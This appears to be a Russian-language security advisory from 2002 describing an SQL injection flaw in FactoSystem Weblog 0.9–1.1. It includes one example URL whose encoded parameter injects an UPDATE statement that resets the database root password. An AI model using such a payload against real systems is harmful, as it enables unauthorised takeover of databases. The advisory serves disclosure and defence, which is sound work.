SQL Injection в FactoSystem

Дата публикации:
03.09.2002
Всего просмотров:
705
Опасность:
Наличие исправления:
Количество уязвимостей:
1
CVSSv2 рейтинг:
CVE ID:
Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID:
Нет данных
Наличие эксплоита:
Нет данных
Уязвимые продукты:
Описание: FactoSystem Weblog – бесплатный пакет программ для обработки журналов регистрации Web серверов.

FactoSystem не фильтрует специальные символы. Атакующий может представить запрос, содержащий специальные символы и SQL, и выполнять произвольные команды с привилегиями пользователя базы данных.

Пример: http://www.example.com/author.asp?authornumber=1%28%20And%20AuthorTable%2EAuthorID%3DBlurbTable%2EAuthorID%20And%20BlurbTable%2ESub_id%3DSubjectTable%2ESub_id%20Order%20By%20BlurbTable%2EBlurbdate%20desc%2C%20blurbtable%2Eblurbtime%20desc%3BUPDATE%20user%20SET%20Password%3DPASSWORD%28%27password%27%29%20WHERE%20user%3D%27root%27%3B%20FLUSH%20PRIVILEGES%3B--

Уязвимость обнаружена в FactoSystem FactoSystem Weblog 0.9-1.1

Ссылки: FactoSystem CMS Contains Multiple Vulnerabilities

или введите имя

CAPTCHA